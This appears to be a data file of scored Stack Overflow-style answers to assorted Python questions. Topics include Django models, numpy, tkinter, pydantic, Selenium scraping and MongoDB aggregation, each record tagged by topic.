[ "As Jay said, everyone registered in the database is still a User whatever their role may be (admin, superuser, customer). What you could do is create a Profile model where everyone will have their information such as telephone, location etc, and you will also add another field clarifying their property.\nPACKAGES = [\n ('customer', 'Customer'),\n ('support', 'Support'),\n ('admin', 'Admin'),\n]\n\nclass Profile(models.Model):\n user = models.OneToOneField(User, on_delete=models.CASCADE, primary_key=True)\n image = models.ImageField(default='user_avatar.png', upload_to='...')\n last_visit = models.DateField(default=timezone.now, blank=True)\n location = models.CharField(max_length=254, null=True, blank=True)\n contact_phone = models.CharField(max_length=15)\n user_role = models.CharField(default=\"customer\", choices=PACKAGES, max_length=20)\n \n\nThen all you need to do is edit your admin.py to implement a search parameter there:\nclass ProfileAdmin(admin.ModelAdmin):\n list_filter=('user_role',)\n\nadmin.site.register(Profile, ProfileAdmin)\n\nDoing that will give you a filter_list in the right corner of your admin page but that is for admin page only.\nIf you want to access different roles in your views or your templates you will do so by getting the user_role you need:\ncustomers = Profile.objects.filter(user_role='customer')\n\n" ]

[ 2 ]

[]

[]

[ "django", "python", "python_3.x" ]

[ "You can look at this so see how to convert a timestamp into a datetime in python. And since the timestamp presision is 1e9 you can simply multiply the value by 1e-9 or divide it by 1e9 to get the timestamp in seconds.\nfrom datetime import datetime\ndatetime.fromtimestamp(created_at_e9 * 1e-9)\n\n" ]

[ 1 ]

[]

[]

[ "datetime", "python", "unix_timestamp" ]

[ "try this new realization and this will not change the original Matrix\nMatrix = [[1,2,3],[4,5,6],[7,8,9]]\nnewMatrix = []\nfor line in range(len(Matrix)):\n newMatrix.append(sorted(Matrix[line],reverse=True))\n\nnewMatrix.reverse()\nprint(newMatrix)\nprint(Matrix)\n\noutput:\n[[9, 8, 7], [6, 5, 4], [3, 2, 1]]\n[[1, 2, 3], [4, 5, 6], [7, 8, 9]]\n\n" ]

[ -1 ]

[ "Try This\nMatrix = [[1,2,3],[4,5,6],[7,8,9]]\nnewMatrix = []\nfor line in range(len(Matrix)):\n Matrix[line].reverse()\n newMatrix.append(Matrix[line])\n\nnewMatrix.reverse()\nprint(newMatrix)\n\noutput\n[[9, 8, 7], [6, 5, 4], [3, 2, 1]]\n\n" ]

[ -1 ]

[ "matrix", "python" ]

[ "According to the documentation, the y0 passed to solve_ivp must be of type complex in order for the integration to be over the complex domain. A robust way of ensuring this is to add the following to your code:\ndef solver(tmin, tmax,teval=None,f0=0,g0=1):\n '''solves the system.\n @tmin: starttime\n @tmax: endtime\n @f0: starting percentage of already present electrons of positive energy usually 0 \n @g0: starting percentage of already present electrons of negative energy, usually 1, therefore full vaccuum\n '''\n f0 = complex(f0) # <-- added\n g0 = complex(g0) # <-- added\n y0=[f0,g0]\n tspan = np.array([tmin, tmax])\n koeff = np.array([nu,kappa])\n sol = solve_ivp(System,tspan,y0,t_eval= teval,args=koeff)\n return sol\n\nI tried the above, and it indeed made the warning disappear. However, the result of the integration seems to be the same regardless.\n" ]

[ 0 ]

[]

[]

[ "physics", "python" ]

[ "Well, it's easier than I thought, I'll leave it here just in case someone stumbles upon the same issue.\n1 step: calculate the number of pages the index will need and add them as blank pages, not required, but will make the page numbers correct already\n2 step: before finalizing the document, use self.page = 2 to start adding content to page 2, this will use the blank pages used in the previous step\n" ]

[ 0 ]

[]

[]

[ "fpdf", "python" ]

[ "Sure, take off the first element to create an outer loop, and then loop over the rest of the list to build the sub-lists:\nlst = [['X', 'Y'], 'A', 1, 2, 3]\n\nnew_list = []\n\nfor item in lst[0]:\n sub = [item]\n for sub_item in lst[1:]:\n sub.append(sub_item)\n new_list.append(sub)\n\nOr, as a comprehension:\nnew_list = [[item, *lst[1:]] for item in lst[0]]\n\nWhere the *lst[1:] will unpack the slice into the newly created list.\nBorrowing that idea for the imperative for-loop:\nnew_list = []\n\nfor item in lst[0]:\n sub = [item, *lst[1:]]\n new_list.append(sub)\n\n", "I'll suggest a more concise approach that uses iterable unpacking -- IMO it's cleaner than using list slices.\nWe take the first element of lst and separate it from the rest of the list. Then, we use a list comprehension to create a new list for every element in the original sublist of lst:\nlst = [['X', 'Y'], 'A', 1, 2, 3]\nfst, *rest = lst\n\n[[elem, *rest] for elem in fst]\n\nThis outputs:\n[['X', 'A', 1, 2, 3], ['Y', 'A', 1, 2, 3]]\n\n", "This probably not the best aproach but it works\nl = [['X', 'Y'], 'A', 1, 2, 3]\n\nnew_list = []\nto_append = []\nfor item in l:\n if isinstance(item, list):\n new_list.append(item)\n continue\n\n to_append.append(item)\n\nnew_list.append(to_append)\nprint(new_list)\n\n", "Yes, the code below returns exactly what you want.\nlist = [['X', 'Y'], 'A', 1, 2, 3]\nnew_list = []\n\nfor i, item in enumerate(list[0]):\n new_list.append([item] + list[1:])\n\nprint(new_list)\n\n" ]

[ 2, 2, 0, 0 ]

[]

[]

[ "list", "python" ]

[ "You use two different ways to create a new game. So it's differ from each other and you do not understand what you make wrong.One them main flow and other one is new_game method. I just merged them.\nSecond thing is you destroy your frame and your canvas inside it. So you also destroyed your canvas this is why yo get errors. Instead can.delete(\"all\") going to clear all items inside.\nYou have keypress(event) function yo do not need to update tens of times every second your move(). Just if you get any press, simple update it by calling move function.\nOther thing is, when you are moving inside maze, instead of moving your player you are creating a new blue dot and repaint your old dot. It's bad habit you should avoid it. If it would be too much movement inside your maze, that mess would cause to slow down.\nLastly, in your new_game method you need to use global keyword otherwise your declerations only creates local variables.\nThis is full solution. It correctly starts new games and contains all improvements mentioned above.\nimport tkinter as tk\nimport random\nfrom tkinter import messagebox\n\nSIZE = 10\nCOLUMN = 7\nROW = 7\n\ndeparture = [[1, 1]] \nplayerX = 1\nplayerY = 1\nbeforeX = 1\nbeforeY = 1\n\nmaze = []\nplayer = None\nfor y in range(ROW) :\n sub = []\n for x in range(COLUMN) :\n if y==0 or y==ROW-1 or x==0 or x==COLUMN-1 :\n sub.append(\"WALL\")\n else :\n sub.append(\"FIELD\")\n maze.append(sub)\n\ndef dig(x, y) :\n maze[y][x] = \"PATH\"\n canMove = []\n if maze[y-1][x]==\"FIELD\" and maze[y-2][x]==\"FIELD\" :\n canMove.append(\"UP\")\n if maze[y+1][x]==\"FIELD\" and maze[y+2][x]==\"FIELD\" :\n canMove.append(\"DOWN\")\n if maze[y][x-1]==\"FIELD\" and maze[y][x-2]==\"FIELD\" :\n canMove.append(\"LEFT\")\n if maze[y][x+1]==\"FIELD\" and maze[y][x+2]==\"FIELD\" :\n canMove.append(\"RIGHT\")\n if len(canMove)==0 :\n return\n \n direction = random.choice(canMove)\n if direction==\"UP\" :\n maze[y-1][x]=\"PATH\"\n maze[y-2][x]=\"PATH\"\n y -= 2\n if direction==\"DOWN\" :\n maze[y+1][x]=\"PATH\"\n maze[y+2][x]=\"PATH\"\n y += 2\n if direction==\"LEFT\" :\n maze[y][x-1]=\"PATH\"\n maze[y][x-2]=\"PATH\"\n x -= 2\n if direction==\"RIGHT\" :\n maze[y][x+1]=\"PATH\"\n maze[y][x+2]=\"PATH\"\n x += 2\n departure.append([x, y]) \n dig(x, y) \n\n\ndef keyPress(event) :\n global playerX,playerY,beforeX,beforeY\n if event.keysym==\"Up\" and maze[playerY-1][playerX]==\"PATH\" :\n beforeX = playerX\n beforeY = playerY\n playerY -=1\n if event.keysym==\"Down\" and maze[playerY+1][playerX]==\"PATH\" :\n beforeX = playerX\n beforeY = playerY\n playerY +=1\n if event.keysym==\"Left\" and maze[playerY][playerX-1]==\"PATH\" :\n beforeX = playerX\n beforeY = playerY\n playerX -=1\n if event.keysym==\"Right\" and maze[playerY][playerX+1]==\"PATH\" :\n beforeX = playerX\n beforeY = playerY\n playerX +=1\n move()\n\ndef move() :\n can.moveto(player,playerX*SIZE+1, playerY*SIZE+1)\n print(playerX,playerY)\n if playerX==COLUMN-2 and playerY==ROW-2 :\n messagebox.showinfo(\"INFORMATION\", \"CONGRATULATIONS!!!\")\n can.delete(\"all\")\n## for widget in frame_top.winfo_children():\n## widget.destroy()\n new_game()\n\n \ndef new_game():\n global player,playerX,playerY,beforeX,beforeY,departure,maze\n departure = [[1, 1]] \n playerX = 1\n playerY = 1\n beforeX = 1\n beforeY = 1\n maze = []\n canMove = []\n print (maze)\n for y in range(ROW) :\n sub = []\n for x in range(COLUMN) :\n if y==0 or y==ROW-1 or x==0 or x==COLUMN-1 :\n sub.append(\"WALL\")\n else :\n sub.append(\"FIELD\")\n maze.append(sub)\n while len(departure)!=0 : \n start = departure.pop(0)\n x = start[0]\n y = start[1]\n dig(x, y)\n print(x)\n print(y)\n\n for y in range(ROW): \n for x in range(COLUMN):\n if maze[y][x]==\"PATH\" :\n color = \"white\"\n else :\n color = \"black\"\n can.create_rectangle(x*SIZE, y*SIZE, (x+1)*SIZE, (y+1)*SIZE, fill=color, width=0)\n\n can.create_rectangle((COLUMN-2)*SIZE, (ROW-2)*SIZE, (COLUMN-1)*SIZE, (ROW-1)*SIZE ,fill=\"red\") \n \n player = can.create_oval(playerX*SIZE+2, playerY*SIZE+2, (playerX+1)*SIZE-2, (playerY+1)*SIZE-2, fill=\"blue\")\n can.tag_raise(player)\n \n\n\n\nglobal win\nwin = tk.Tk()\nframe_top = tk.Frame(win)\nframe_top.pack()\n\nglobal can\ncan = tk.Canvas(frame_top, width=COLUMN*SIZE, height=ROW*SIZE)\ncan.pack()\n\n\n\nm = tk.Menu(win)\nwin.config(menu=m)\nfm = tk.Menu(m, tearoff=0)\n\nom = tk.Menu(m, tearoff=0)\nm.add_cascade(label='Options', menu=om)\nom.add_command(label='New Game',command= new_game )\n\nom.add_command(label='Settings', )\n\n\nnew_game()\n\n\nwin.bind(\"<Any-KeyPress>\", keyPress) \n\nwin.mainloop()\n\n" ]

[ 0 ]

[]

[]

[ "python", "python_3.x", "tkinter", "tkinter_canvas" ]

[ "As a workaround my solution was to build a new dictionary using the expressions (or their hash) as keys and the values as the values:\ngenerated_json[hash(bla.[0].ble)] = 3\nSo even though the json object doesn't match the expected output format, I can use this to lookup my expressions as they describe unique paths.\nPlease feel free to suggest any better solution as this is just a workaround.\n" ]

[ 0 ]

[]

[]

[ "json", "jsonpath", "python" ]

[ "First of all, a decorator is a function that accepts a function and returns a function. Thus, do not call the wrapper, but return it. Moreover, the fun method should be called.\ndef decorator1(fun):\n def wrapper():\n text = \"------\"\n return text + \"\\n\" + fun() + \"\\n\" + text\n\n return wrapper\n\n\ndef decorator2(fun):\n def wrapper():\n return fun().upper()\n\n return wrapper\n\n\n@decorator1\n@decorator2\ndef function():\n return \"Hey ya!\"\n\n\nprint(function())\n\nNote that those decorators will work only with functions (or callables in general) that return str and accept no arguments. Additionally, you can annotate the fun argument properly with Callable[[], str]:\nfrom typing import Callable\n\n\ndef decorator1(fun: Callable[[], str]):\n ...\n\n", "A decorator is a function which is run on another function, as in a function object, not the result of another function.\nSo:\n@decorator\ndef func():\n ...\n\nIs equivalent to:\ndef func():\n ...\nfunc = decorator(func)\n\nNotice that the function func has never actually been called.\nTherefore, within the wrapper function within the decorator, you actually need to call the function yourself. Use, for example, fun().upper(), not fun.upper().\nAlso, the wrapper function should never be called within the decorator; the function itself should be returned, so return wrapper not return wrapper().\nHere is the corrected code:\ndef decorator1(fun):\n def wrapper():\n text = '------'\n return text + '\\n' + fun() + '\\n' + text\n\n return wrapper\n\n\ndef decorator2(fun):\n def wrapper():\n return fun().upper()\n\n return wrapper\n\n@decorator1\n@decorator2\ndef function():\n return \"Hey ya!\"\n\n\nprint(function())\n\n" ]

[ 0, 0 ]

[]

[]

[ "decorator", "python" ]

[ "you could use this :\nclip.set_audio(CompositeAudioClip([audioclip.set_start(3)]))\nand start your audio wherever you want\n" ]

[ 0 ]

[]

[]

[ "ffmpeg", "moviepy", "python" ]

[ "with numpy this is easy:\nimport numpy as np\ndef fun(input):\n arr = np.array(input)\n return arr.prod() / arr\n\n", "Taking from @interjay's comment:\nfrom operator import mul\n\ntotal = reduce(mul, ints)\nmultiplied = [total/y for y in ints]\n\n", "Solution with enumerate:\ndef my_function(ints):\n res = []\n for i, el in enumerate(ints):\n res.append(reduce(lambda x, y: x*y, ints[:i] + ints[i+1:]))\n return res\n\nprint my_function([1,2,3,4])\n>>> [24, 12, 8, 6]\n\n", "with list comprehension\narray_of_nums = np.random.rand(10)\n[np.prod([i for x, i in enumerate(array_of_nums) if x != e]) for e, y in enumerate(array_of_nums)]\n\n", "without using division\n import numpy as np\n \n def remainingProduct(arr):\n a = arr\n list1 = []\n n = len(arr)\n for i in range(0, n):\n b = a[0]\n a.remove(a[0])\n c = np.prod(a)\n list1.append(c)\n a.append(b)\n return list1\n \n # print(remainingProduct([3, 2, 1]))#[2, 3, 6].\n\n", "Here's an easy approach\ndef mul_numbers(nums):\n new_arr = []\n for i in range(len(nums)):\n product = 1\n for j in range(len(nums)):\n if nums[i] != nums[j]:\n product *= nums[j]\n new_arr.append(product)\n\n return new_arr\n\n\narr = [1, 2, 3, 4, 5]\nresult = mul_numbers(arr)\nprint(result)\n\n>>> [120, 60, 40, 30, 24]\n\n", "Here's an approach using reduce:\nfrom functools import reduce\nfrom operator import mul\n\nl = [1, 2, 2, 3, 4]\n# Modified to work with lists that contain dupes thanks to the feedback in comments\nprint [reduce(mul, l[:i]+l[i+1:], 1) for i in xrange(len(l))]\n>>> [48, 24, 24, 16, 12]\n\n", "The way to incorporate enumerate into your code is \nimport numpy as np\ndef intmult(ints):\n products = np.ones(len(ints))\n for i,j in enumerate(ints):\n products *= ints[i]\n for i,j in enumerate(products):\n products[i] /= ints[i]\n return products\n\nNote that this doesn't cover the case where one of the elements is 0.\n", "without using any library\njust dont forget to append new array for loop first with proper indentation.\ndef f(arr):\n new_arr = []\n for i in arr: #loop first\n p = 1\n for j in arr:\n if i!=j:\n p = p*j\n new_arr.append(p) #append for loop first\n return new_arr\narr = [2, 3, 4,5]\nf(arr)\n\nits bit confusing but works [not recommended]\ndef f(arr):\n n = len(arr)\n left = [1]*n\n right = [1]*n\n product_array = []\n\n # build left array\n for i in range(1,n):\n left[i] = left[i-1] * arr[i-1]\n # build right array\n for i in range(1,n):\n right[i] = right[i-1] * arr[::-1] [i-1]\n \n # build product arr from subarrays\n for i in range(n):\n product_array.append(left[i] * right[::-1][i])\n return product_array\n\narr = [2, 3, 4,5]\nf(arr)\n\n" ]

[ 5, 3, 2, 1, 1, 1, 0, 0, 0 ]

[]

[]

[ "list", "numpy", "python" ]

[ "As I mentioned in my comment already, you cannot dynamically specify a typing.Literal type.\nInstead of doing that, you could just create your own enum.Enum to represent the valid currency options. Pydantic plays nicely with those. And the Enum functional API allows you to set it up dynamically.\nfrom enum import Enum\n\nfrom pydantic import BaseModel, ValidationError\n\n\nCURRENCIES = (\n \"CNY\",\n \"AMD\",\n \"RUB\",\n \"USD\",\n \"EUR\",\n \"GBP\",\n \"CHF\",\n)\n\nCurrency = Enum(\n \"Currency\",\n ((curr, f\"{curr} счет\") for curr in CURRENCIES),\n type=str,\n)\n\n\nclass Data(BaseModel):\n currency: Currency\n\n\nif __name__ == \"__main__\":\n obj = Data(currency=\"CNY счет\")\n print(obj, \"\\n\")\n try:\n Data(currency=\"foo\")\n except ValidationError as e:\n print(e)\n\nOutput:\ncurrency=<Currency.CNY: 'CNY счет'> \n\n1 validation error for Data\ncurrency\n value is not a valid enumeration member ...\n\nThe drawback to the Enum functional API is that your average static type checker will not be able to infer any enumeration members. Thus, your IDE will probably not provide you with auto-suggestions, if you wanted to use a member like Currency.AMD for example. If that bothers you, consider using the regular class definition for that Currency enum.\n" ]

[ 2 ]

[]

[]

[ "pydantic", "python" ]

[ "you want to import a module from a different directory , am I understood correctly?\nso python will only look for the files & modules in its current directory and\nyou cannot refer to another directory simply by putting the folder name before the module name\n\nyou must import the path of a different directory , using sys module\nso python will look for the module in another path if it doesn't exist in the current path.\n# import the sys module\nimport sys\n# enter the full direction of the package \nsys.path.insert(0 , 'C:\\\\Users\\\\name\\\\desktop\\\\folder\\\\mod2')\n# then import module\nimport script2 as lib\nlib.call()\n\n\n\n" ]

[ 0 ]

[]

[]

[ "import", "python" ]

[ "The values you insert into StreamField data should not be instances of the Block class - block instances are only used as part of the stream definition (for example, when you write text = blocks.RichTextBlock(), you're creating an instance of RichTextBlock that forms part of the ParagraphWithRelatedLinkBlock definition).\nThe correct data types are either simple Python values, such as dict for a StructBlock, or a dedicated value type such as wagtail.rich_text.RichText for a RichTextBlock. So, in the case of ParagraphWithRelatedLinkBlock, you need to supply a dict containing a RichText value:\nfrom wagtail.rich_text import RichText\n\np = BlogPageSF()\np.body.append(('paragraph', {'text': RichText('Test')}))\np.save()\n\n" ]

[ 0 ]

[]

[]

[ "django", "python", "wagtail" ]

[ "Checking the source code:\ndef read_key(self, key, bucket_name=None):\n \"\"\"\n Reads a key from S3\n\n :param key: S3 key that will point to the file\n :type key: str\n :param bucket_name: Name of the bucket in which the file is stored\n :type bucket_name: str\n \"\"\"\n\n obj = self.get_key(key, bucket_name)\n return obj.get()['Body'].read().decode('utf-8')\n\n\nThis returns a str. You might need to use the json module to convert it:\nimport json\n\n\ndef create_doc(self,client):\n self.n_docs = int(self.n_docs)\n document = json.loads(data_from_s3()) # <----- convert here\n response = client.cr_transc(document) \n jsn = response.json()\n\ndef data_from_s3(self):\n s3 = S3Hook()\n data = s3.read_key(bucket_name = self.bucket_name, key = self.data_key)\n return data\n\n" ]

[ 0 ]

[]

[]

[ "python", "python_3.x" ]

[ "Looking at the source code of Starlette (i.e., startlette/templating.py)\nYou can see the following line:\nenv.globals[\"url_for\"] = url_for in:\nSo adding the line:\ntemplates.env.globals[\"now\"] = time.time\n\nbefore the return template above fixes it, and adding the below to jobs.html template:\ntime: {{ \"{0:0.2f}\".format(now()-t0) }} sec\ntime: 16.01 sec\n\n" ]

[ 1 ]

[]

[]

[ "fastapi", "jinja2", "python" ]

[ "As @tripleee noted in the comment, you need to look into your system PATH setting. If you'd like to try an easier fix, you can try my ffmpeg-downloader package.\nTwo lines of commands in command window (then close and reopen the python window) should do the job for you:\npip install ffmpeg-downloader\n\nffdl install --add-path \n\nThe --add-path argument adds its FFmpeg directory to your Per-User PATH.\n" ]

[ 0 ]

[]

[]

[ "ffmpeg", "mp4", "python", "videoconverter" ]

[ "The below code is producing the exact output what the browser displayed\nimport time\nfrom bs4 import BeautifulSoup\nimport pandas as pd\nfrom selenium.webdriver.chrome.service import Service\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\n\n\nwebdriver_service = Service(\"./chromedriver\") #Your chromedriver path\ndriver = webdriver.Chrome(service=webdriver_service)\n\ndriver.get('https://www.booking.com/searchresults.ja.html?label=gen173nr-1FCAQoggJCDWhvdGVsXzY0MTE5MTRIFVgEaFCIAQGYARW4ARfIAQzYAQHoAQH4AQOIAgGoAgO4AuiOk5wGwAIB0gIkZjkzMzFmMzQtZDk1My00OTNiLThlYmYtOGFhZWM5YTM2OTIx2AIF4AIB&aid=304142&lang=ja&dest_id=6411914&dest_type=hotel&checkin=2022-12-22&checkout=2022-12-23&group_adults=4&no_rooms=1&group_children=0&sb_travel_purpose=leisure&offset=0')\n#driver.maximize_window()\ntime.sleep(5)\n\n\nsoup = BeautifulSoup(driver.page_source,\"lxml\")\nfor u in soup.select('div[data-testid=\"property-card\"]'):\n title = u.select_one('div[class=\"fcab3ed991 a23c043802\"]').get_text(strip=True)\n print(title)\n #price = u.select_one('span[class=\"fcab3ed991 bd73d13072\"]').get_text(strip=True)\n #print(price)\n\nOutput:\ncup of tea ensemble\nFAV HOTEL TAKAYAMA\nワットホテル&スパ飛騨高山\n飛騨高山温泉 高山グリーンホテル\n岡田旅館 和楽亭\nザ・町家ホテル高山\n旅館あすなろ\nIORI STAY\n風屋\nTabist 風雪\n飛騨高山　本陣平野屋　花兆庵\nThanyaporn Hotel\n旅館むら山\ncup of tea\nつゆくさ\n旅館　一の松\n龍リゾート＆スパ\n飛騨高山の宿 本陣平野屋 別館\n飛騨牛専門 旅館 清龍\nTomato Takayama Station\n民宿 和屋\nビヨンドホテル 高山 セカンド\n旅館 岐山\nUtatei\nビヨンドホテル高山1s\n\n" ]

[ 1 ]

[]

[]

[ "beautifulsoup", "python", "python_3.x", "selenium", "web_scraping" ]

[ "The problem\n\"import ns.applications\"\nModuleNotFoundError: No module named 'ns'\nis because there is a problem with the ns-3 installation and it is not able to do python binding itself and you need to manually configure it.\nIn my case, I have python 2.7 also installed\nGo to \n-> cd [PATH-to-your-ns3.29]\n-> /usr/bin/python2.7 ./waf configure\nit will enable the python binding like this\nWaf configuration \nafter this when you can see the python binding enabled you can run your python script without any error.\nHope it helps !!!\n", "./ns3 configure --enable-python-bindings\n\nThen run the python example. The libraries should get built.\nHere\n" ]

[ 0, 0 ]

[]

[]

[ "ns_3", "python", "python_3.x", "ubuntu", "waf" ]

[ "Not sure where in your code this comes up but it sounds like you have some variable that is a boolean and you tried to access it like\nsomebool.items and Python is telling you that somebool has no attribute items\n" ]

[ 0 ]

[]

[]

[ "boolean", "graph", "pyqt", "pyqt6", "python" ]

[ "You can use:\nexclude = []\nthreshold = 30\n\nmask = (df.drop(columns=exclude, errors='ignore')\n .apply(lambda s: s.str.len().ge(threshold))\n )\n\ns = mask.any(axis=1)\n\nfor idx in s[s].index:\n print(f'row {idx} is above the {threshold}-character limit.')\n s2 = mask.loc[idx]\n for string in df.loc[idx, s2.reindex(df.columns, fill_value=False)]:\n print(string)\n\nOutput:\nrow 3 is above the 30-character limit.\n\"Insane string which is way too longggggggggggg\",\"20221019161921\",\"London\"\n\nIntermediate s:\n0 False\n1 False\n2 False\n3 True\ndtype: bool\n\n" ]

[ 0 ]

[]

[]

[ "dataframe", "pandas", "python" ]

[ "I understand you are trying to play a streaming music station, if this is the case, this will be implemented using AudioPlayer interface, please find more information on the link below:\nhttps://developer.amazon.com/en-US/docs/alexa/custom-skills/audioplayer-interface-reference.html\nThere is an AudioPlayer sample skill which actually streams from a radio station already to which you can refer. That can be found here: https://github.com/alexa-samples/skill-sample-nodejs-audio-player , also in python https://github.com/alexa-samples/skill-sample-python-audio-player . You will need to change the url stream and add your own.\nPlease take into account that the URL you provide in the audioItem.stream.url property must meet these requirements:\nhttps://developer.amazon.com/en-US/docs/alexa/custom-skills/audioplayer-interface-reference.html#audio-stream-requirements\n" ]

[ 0 ]

[]

[]

[ "alexa_app", "alexa_skill", "python", "python_3.x" ]

[ "@George Rybojchuk\ncheck complete sql :\ndrop table if exists sample_json;\ndrop table if exists target;\ncreate table sample_json(record json not null);\ncreate table target(name varchar(20),time_created varchar(20));\ninsert into sample_json(record) values('{\"name\": \"Kathryn\", \"time_created\": 1665335716, \"gender\": \"female\", \"age\": 38, \"last_name\": \"Smith\", \"ip\": \"192.168.0.110\", \"city\": \"NY\", \"premium\": null, \"birth_day\": \"01.01\", \"balance\": 55.43255500944704, \"user_id\": 8676}');\nselect * from sample_json;\ninsert into target(name,time_created)\nselect record->'name',record->'time_created'\nfrom sample_json;\n\npython approach:\nimport json\n\nif __name__ == '__main__':\n\n records = [\n '{\"name\": \"Kathryn\", \"time_created\": 1665335716, \"gender\": \"female\", \"age\": 38, \"last_name\": \"Smith\", \"ip\": \"192.168.0.110\", \"city\": \"NY\", \"premium\": null, \"birth_day\": \"01.01\", \"balance\": 55.43255500944704, \"user_id\": 8676}',\n '{\"name\": \"Kathryn1\", \"time_created\": 1665335716, \"gender\": \"female\", \"age\": 38, \"last_name\": \"Smith\", \"ip\": \"192.168.0.110\", \"city\": \"NY\", \"premium\": null, \"birth_day\": \"01.01\", \"balance\": 55.43255500944704, \"user_id\": 8676}',\n '{\"name\": \"Kathryn2\", \"time_created\": 1665335716, \"gender\": \"male\", \"age\": 38, \"last_name\": \"Smith\", \"ip\": \"192.168.0.110\", \"city\": \"NY\", \"premium\": null, \"birth_day\": \"01.01\", \"balance\": 55.43255500944704, \"user_id\": 8676}',\n\n ]\n\n for record in records:\n json_data = json.loads(record)\n\n name = json_data['name']\n gender = json_data['gender']\n print(name, gender)\n # connect postgresql\n # insert into target table\n\n" ]

[ 0 ]

[]

[]

[ "json", "postgresql", "python", "python_3.x", "sql" ]

[ "You can sort coo with np.lexsort to bring the duplicate ones in succession. Then run np.diff along the rows to get a mask of starts of unique XY's in the sorted version. Using that mask, you can create an ID array that would have the same ID for the duplicates. The ID array can then be used with np.bincount to get the summation of all values with the same ID and also their counts and thus the average values, as the final output. Here's an implementation to go along those lines - \n# Use lexsort to bring duplicate coo XY's in succession\nsortidx = np.lexsort(coo.T)\nsorted_coo = coo[sortidx]\n\n# Get mask of start of each unique coo XY\nunqID_mask = np.append(True,np.any(np.diff(sorted_coo,axis=0),axis=1))\n\n# Tag/ID each coo XY based on their uniqueness among others\nID = unqID_mask.cumsum()-1\n\n# Get unique coo XY's\nunq_coo = sorted_coo[unqID_mask]\n\n# Finally use bincount to get the summation of all coo within same IDs \n# and their counts and thus the average values\naverage_values = np.bincount(ID,values[sortidx])/np.bincount(ID)\n\nSample run -\nIn [65]: coo\nOut[65]: \narray([[1, 2],\n [2, 3],\n [3, 4],\n [3, 4],\n [1, 2],\n [5, 6],\n [1, 2]])\n\nIn [66]: values\nOut[66]: array([1, 2, 4, 2, 1, 6, 1])\n\nIn [67]: unq_coo\nOut[67]: \narray([[1, 2],\n [2, 3],\n [3, 4],\n [5, 6]])\n\nIn [68]: average_values\nOut[68]: array([ 1., 2., 3., 6.])\n\n", "You can use where:\n>>> values[np.where((coo == [1, 2]).all(1))].mean()\n1.0\n\n", "It is very likely going to be faster to flatten your indices, i.e.:\nflat_index = coo[:, 0] * np.max(coo[:, 1]) + coo[:, 1]\n\nthen use np.unique on it:\nunq, unq_idx, unq_inv, unq_cnt = np.unique(flat_index,\n return_index=True,\n return_inverse=True,\n return_counts=True)\nunique_coo = coo[unq_idx]\nunique_mean = np.bincount(unq_inv, values) / unq_cnt\n\nthan the similar approach using lexsort.\nBut under the hood the method is virtually the same.\n", "This is a simple one-liner using the numpy_indexed package (disclaimer: I am its author):\nimport numpy_indexed as npi\nunique, mean = npi.group_by(coo).mean(values)\n\nShould be comparable to the currently accepted answer in performance, as it does similar things under the hood; but all in a well tested package with a nice interface.\n", "Another way to do it is using JAX unique and grad. This approach might be particularly fast because it allows you to run on an accelerator (CPU, GPU, or TPU).\nimport functools\nimport jax\nimport jax.numpy as jnp\n\n\[email protected]\ndef _unique_sum(unique_values: jnp.ndarray, unique_inverses: jnp.ndarray, values: jnp.ndarray):\n errors = unique_values[unique_inverses] - values\n return -0.5*jnp.dot(errors, errors)\n\n\[email protected](jax.jit, static_argnames=['size'])\ndef unique_mean(indices, values, size):\n unique_indices, unique_inverses, unique_counts = jnp.unique(indices, axis=0, return_inverse=True, return_counts=True, size=size)\n unique_values = jnp.zeros(unique_indices.shape[0], dtype=float)\n return unique_indices, _unique_sum(unique_values, unique_inverses, values) / unique_counts\n\n\ncoo = jnp.array([[1, 2], [2, 3], [3, 4], [3, 4], [1, 2], [5, 6], [1, 2]])\nvalues = jnp.array([1, 2, 4, 2, 1, 6, 1])\nunique_coo, unique_mean = unique_mean(coo, values, size=4)\nprint(unique_mean.block_until_ready())\n\nThe only weird thing is the size argument since JAX requires all array sizes to be fixed / known beforehand. If you make size too small it will throw out good results, too large it will return nan's.\n" ]

[ 7, 2, 1, 1, 0 ]

[]

[]

[ "arrays", "numpy", "python" ]

[ "Here's how I would implement the behaviour that you want.\nclass Example():\n ref_date = dt.date.today()\n \n def __init__(self, ref_date=None):\n if ref_date:\n self.ref_date = ref_date\n\n>>> Example.ref_date\ndatetime.date(2022, 11, 28)\n>>> example_instance = Example(dt.date(2021,6,1))\n>>> example_instance.ref_date\ndatetime.date(2021, 6, 1)\n\nHave a class attribute with the default value of the reference date, which gets overwritten if the user instantiates an object with another value. Then get rid of the getter method (it's fine in Python, it's got properties).\n", "I will suggest that to implement this you use class attributes instead of overriding a class method in the initializer.\nThe following code should work\nclass Example():\n \"\"\" \n Primary usage is via classmethods, however if historical is needed then create \n an instance of the class and pass reference date \n \n \"\"\"\n ref_date = dt.date.today() \n \n def __init__(self, ref_date=None):\n self.ref_date = ref_date\n if ref_date:\n self._override_class_date(ref_date)\n \n #change the date the class method uses for **this instance** \n @classmethod\n def _override_class_date(cls, date): \n cls.ref_date = date\n \n @classmethod\n def get_date(cls):\n return cls.ref_date\n\nIn the following code the _date is a class atribute, in the case you create an instance, with a new date you override the class attribute with the instance attribute. Note if you assign self.ref_date to the new value in init you will only override the instance value that shadows the class attribute\n" ]

[ 2, 1 ]

[]

[]

[ "python" ]

[ "by definition, \"which\" will always show the full path of your shell commands, in your case, which python will show /usr/bin/python and for python3 /usr/bin/python3.SO what your system is doing is correct.\nAn alias definition provides a string value that replaces a command name when the command is read. The alias command does not allow you to use another known command as an alias, you are creating a conflict.\n" ]

[ 0 ]

[]

[]

[ "bash", "python", "python_3.x" ]

[ "my best guess of where your error lies is in either of the two 'aggregate' calls. That is, one/both of these lines has a bug:\n query = db.wallets.aggregate([{'$group': {'_id': None, 'count': {'$sum': '$balance.value'}}}])\n \n wallets_collection = db.aggregate(\"wallets\", query=query)\n\nI googled your error and found some related questions that confirm this error has nothing to do with Airflow and it is a MongoDB error. There seems to be a bug with your 'aggregate' function call(s). Make sure to look at the MongoDB docs for the 'aggregate' method. It must take a 'pipeline' argument which is of type Sequence[Mapping[str, Any]]. Your first call seems to be correct as 'pipeline' argument is of type List which is type-casted to the required Sequence type I believe.\nYour second aggregate call, however, seems to have an issue. Your first argument which gets taken as the 'pipeline' argument is of type string (i.e. \"wallets\"). This is wrong as'pipeline' parameter is of type Sequence[Mapping[str, Any]] NOT of type string.\nYou might want to look at this related question: How to store aggregation pipeline in mongoDB?\nIn short, I'd advice to ensure that your aggregate arguments are of correct type.\n" ]

[ 0 ]

[]

[]

